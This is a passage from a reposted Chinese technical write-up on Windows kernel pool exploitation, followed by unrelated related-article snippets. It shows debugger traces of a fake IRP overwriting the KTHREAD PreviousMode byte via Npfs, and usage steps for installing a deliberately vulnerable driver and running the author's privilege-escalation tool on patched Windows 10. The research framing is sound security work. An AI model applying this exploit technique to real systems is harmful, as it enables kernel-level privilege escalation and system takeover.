//r15+90h就是Kthread结构体+0x232是PreMode位置
fffff800`575818df 4d89a790000000  mov     qword ptr [r15+90h],r12 ds:002b:ffffa307`1af112b2=0028000000000801
1: kd> kv
 # Child-SP          RetAddr               : Args to Child                                                           : Call Site
00 ffffc80c`42d10510 fffff800`57584731     : ffffc80c`42d105d0 ffffcc83`2a52ebf8 ffffa307`00000000 00000000`00000000 : Npfs!NpReadDataQueue+0x384f
01 ffffc80c`42d10580 fffff800`57580ff8     : ffffa307`1b67a000 ffffa307`173c4c20 00000000`00000000 ffffc80c`42d10670 : Npfs!NpInternalRead+0x1a5
02 ffffc80c`42d10620 fffff800`5757c847     : ffffa307`173c4c20 00000000`20206f0d ffffa307`1bd88900 00000000`00000000 : Npfs!NpCommonFileSystemControl+0x4768
03 ffffc80c`42d106c0 fffff800`54092835     : ffffa307`19d4ddc0 00000000`00000001 ffffc80c`42d107c0 fffff800`53b74ce2 : Npfs!NpFsdFileSystemControl+0x27

对越界写函数poolqudong!CommandCopy下断点展开pipe_queue_entry_t结果,这个标记为vul的entry的flink指向下个entry+1000位置,blink指向前一个entry就是ffffa3071dc54000-xploit->ghost_chunk_size位置,里面的fakeirp=ffffa3071af1122+90指向了Kthread结构体+0x232是PreMode位置,在Npfs!NpReadDataQueue中被从原值1修改为0,这样就可以实现用NtWriteVirtualMemory写内核态内存了,至此完成了漏洞的利用.

工具使用方法

下面是工具的具体使用方法

//安装驱动,需要管理员运行

sc create mydriver binpath=C:\dl\poolqudong.sys type=kernel start=demand error=ignore

//启动驱动

sc start mydriver&&sc query mydriver

//启动漏洞利用工具

pooleop.exe -np //nonpaged pool mode 非分页模式利用
pooleop.exe -p //paged pool mode 分页模式利用

工具使用效果

笔者的工具实现了全自动分页内存和非分页内存稳定利用,解决了不同windows版本适配问题,降低了蓝屏几率,提高了漏洞利用成功率,下面是在最新满补丁Windows 10 22h2上的运行结果.

查看大图

相关引用

分页内存利用工具原文

pool风水工具作者原文

非分页内存利用作者原文

旧Windows内核池风水利用工具原文翻译

big pool 泄露

父进程句柄利用

pool利用

另一种CVE-2021-31956

kernelpool-exploitation

Exploiting a Windows 10 PagedPool

Sheep Year Kernel Heap Fengshui

Corentin Bayet. Exploit of CVE-2017-6008 with Quota Process Pointer Overwrite attack

Cesar Cerrudo Tricks to easily elevate its privileges

Matt Conover and w00w00 Security Development. w00w00 on Heap Overflows

pool windbg 插件

npfs模块reactos源码

旧笔者工具git

旧Windows内核池风水利用工具研究 

参与贡献

作者来自ZheJiang Guoli Security Technology,邮箱cbwang505@hotmail.com

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/903488.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

硕士研究生小论文写作方法

本人985硕博毕业-曾多次辅导本硕同学完成成毕设&#xff0c;下面分享一些经验 图为当年大论文外审结果&#xff01;&#xff01;&#xff01; 当撰写一篇硕士研究生的小论文时&#xff0c;以下是每个部分的写作方法的详细描述&#xff0c;&#xff1a; 摘要&#xff08;Abst…

零基础在家就可以做的副业,3个兼职项目推荐

做副业最需要注重的是什么&#xff1f;我觉得有收益&#xff0c;稳定&#xff0c;上手快&#xff0c;可以学到东西&#xff0c;下面3个副业适合新手快速变现的副业&#xff0c;大可以随便挑一两个尝试一下 第一个&#xff1a;在小红书的发手记 满5000粉丝们就可以申请品牌合作…

OMT画图的五种结构表达方式

实例化&#xff1a;A类依赖于B类。 class B {doSth () {} }class A {constructor () {}run () {const b new B()b.doSth()} }new A().run()委托&#xff1a;A对象依赖于B对象。 class B {doSth () {} } const b new B()class A {constructor () {}run () {b.doSth()} } new A…

为什么 Lemon8 是今年值得关注的社交媒体应用?

社交媒体应用逐渐成为了用户联系亲朋好友的一种方式,也成为了营销推广有利的平台。近期,Lemon8也快速崛起,一度荣登美国APP下载排行榜前十名,在社交和电子商务市场中,也占据了很大的份额,在日本以及泰国多地更为流行。为什么Lemon8会成为最值得关注的社交媒体应用呢? 什么原因…

基于springboot+vue的博物馆藏品平台(前后端分离)

博主主页&#xff1a;猫头鹰源码 博主简介&#xff1a;Java领域优质创作者、CSDN博客专家、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战 主要内容&#xff1a;毕业设计(Javaweb项目|小程序等)、简历模板、学习资料、面试题库、技术咨询 文末联系获取 项目介绍…

TouchGFX之安装

1.安装X-CUBE-TOUCHGFX​ 帮助 ->管理嵌入式软件包 转到“STMicroelectronics”选项卡。 滚动直至找到“X-CUBE-TOUCHGFX”&#xff0c;然后展开节点。 点击“TouchGFX Generator”复选框&#xff0c;然后点击“立即安装”。 将下载软件包并显示许可协议。 找到TouchGFX Gen…

(成功踩坑)electron-builder打包过程中报错

目录 注意&#xff1a;文中的解决方法2&#xff0c;一定全部看完&#xff0c;再进行操作&#xff0c;有坑 背景 报错1&#xff1a; 报错2&#xff1a; 1.原因&#xff1a;网络连接失败 2.解决方法1&#xff1a; 3.解决方法2&#xff1a; 3.1查看缺少什么资源文件 3.2去淘…

PostgreSQL基本操作总结

安装按PostgreSQL数据库后&#xff0c;会默认创建用户postgres和数据库postgres&#xff0c;这个用户是超级用户&#xff0c;权限最高&#xff0c;可以创建其他用户和权限&#xff0c;在实际开发过程中&#xff0c;会新创建用户和业务数据库&#xff0c;本文主要介绍用户权限和…

Vue中DOM的更新为什么是异步的?

在 Vue 中&#xff0c;DOM 的更新是异步的机制是为了优化性能和提升用户体验。这个机制被称为“异步更新队列”。 Vue的异步更新队列机制是其实现高效渲染的关键。它通过将多次数据变化合并到一个批处理中&#xff0c;从而减少了不必要的DOM操作&#xff0c;提高了性能。下面是…

[推荐] MyBatis框架初学笔记-为之后拾遗

目录 1. mybatis的简介 2.MyBatis的环境搭建 2.1 导入pom依赖 2.2 数据库文件导入连接 2.3 修改web.xml文件 2.4 安装插件 &#xff08;1&#xff09;Free mybatis plugin &#xff08;2&#xff09;Mybatis generator &#xff08;3&#xff09; mybatis tools &#x…

Excel/PowerPoint条形图改变顺序

条形图是从下往上排的&#xff0c;很多时候不是我们想要的效果 解决方案 选择坐标轴&#xff0c;双击&#xff0c;按下图顺序点击 效果

函数栈帧理解

本文是从汇编角度来展示的函数调用&#xff0c;而且是在vs2013下根据调试展开的探究&#xff0c;其它平台在一些指令上会有点不同&#xff0c;指令不多&#xff0c;简单记忆一下即可&#xff0c;在我前些年的学习中&#xff0c;学的这几句汇编指令对我调试找错误起了不小的作用…

Python爬虫实战案例——第一例

X卢小说登录(包括验证码处理) 地址&#xff1a;aHR0cHM6Ly91LmZhbG9vLmNvbS9yZWdpc3QvbG9naW4uYXNweA 打开页面直接进行分析 任意输入用户名密码及验证码之后可以看到抓到的包中传输的数据明显需要的是txtPwd进行加密分析。按ctrlshiftf进行搜索。 定位来到源代码中断点进行调…

Qt应用开发(基础篇)——纯文本编辑窗口 QPlainTextEdit

一、前言 QPlainTextEdit类继承于QAbstractScrollArea&#xff0c;QAbstractScrollArea继承于QFrame&#xff0c;是Qt用来显示和编辑纯文本的窗口。 滚屏区域基类https://blog.csdn.net/u014491932/article/details/132245486?spm1001.2014.3001.5501框架类QFramehttps://blo…

iOS17 widget Content margin

iOS17小组件有4个新的地方可以放置分别是&#xff1a;Mac桌面、iPad锁屏界面、 iPhone Standby模式、watch的smart stack Transition to content margins iOS17中苹果为widget新增了Content margin, 使widget的内容能够距离边缘有一定的间隙&#xff0c;确保内容显示完整。这…

ARM--day6(实现字符、字符串收发的代码和现象,分析RCC、GPIO、UART章节)

uart4.h #ifndef __UART4_H__ #define __UART4_H__#include "stm32mp1xx_rcc.h" #include "stm32mp1xx_gpio.h" #include "stm32mp1xx_uart.h"//RCC/GPIO/UART4章节初始化 void hal_uart4_init();//发送一个字符函数 void hal_put_char(const c…

Roxy-Wi 命令执行漏洞复现

漏洞描述 Roxy-WI是开源的一款用于管理 Haproxy、Nginx 和 Keepalived 服务器的 Web 界面 Roxy-WI 6.1.1.0 之前的版本存在安全漏洞,该漏洞源于系统命令可以通过 subprocess_execute 函数远程运行,远程攻击者利用该漏洞可以执行远程代码。 免责声明 技术文章仅供参考,任…

Excel/PowerPoint折线图从Y轴开始(两侧不留空隙)

默认Excel/PowerPoint折线图是这个样子的&#xff1a; 左右两侧都留了大块空白&#xff0c;很难看 解决方案 点击横坐标&#xff0c;双击&#xff0c;然后按下图顺序点击 效果

开发调试更便捷!火山引擎 DataLeap 提供 Notebook 交互式开发体验

更多技术交流、求职机会&#xff0c;欢迎关注字节跳动数据平台微信公众号&#xff0c;回复【1】进入官方交流群 Notebook 是一种支持 REPL 模式的开发环境。 所谓「REPL」&#xff0c;即「读取-求值-输出」循环&#xff1a;输入一段代码&#xff0c;立刻得到相应的结果&#x…

OpenCV图片校正

OpenCV图片校正 背景几种校正方法1.傅里叶变换 霍夫变换 直线 角度 旋转3.四点透视 角度 旋转4.检测矩形轮廓 角度 旋转参考 背景 遇到偏的图片想要校正成水平或者垂直的。 几种校正方法 对于倾斜的图片通过矫正可以得到水平的图片。一般有如下几种基于opencv的组合方…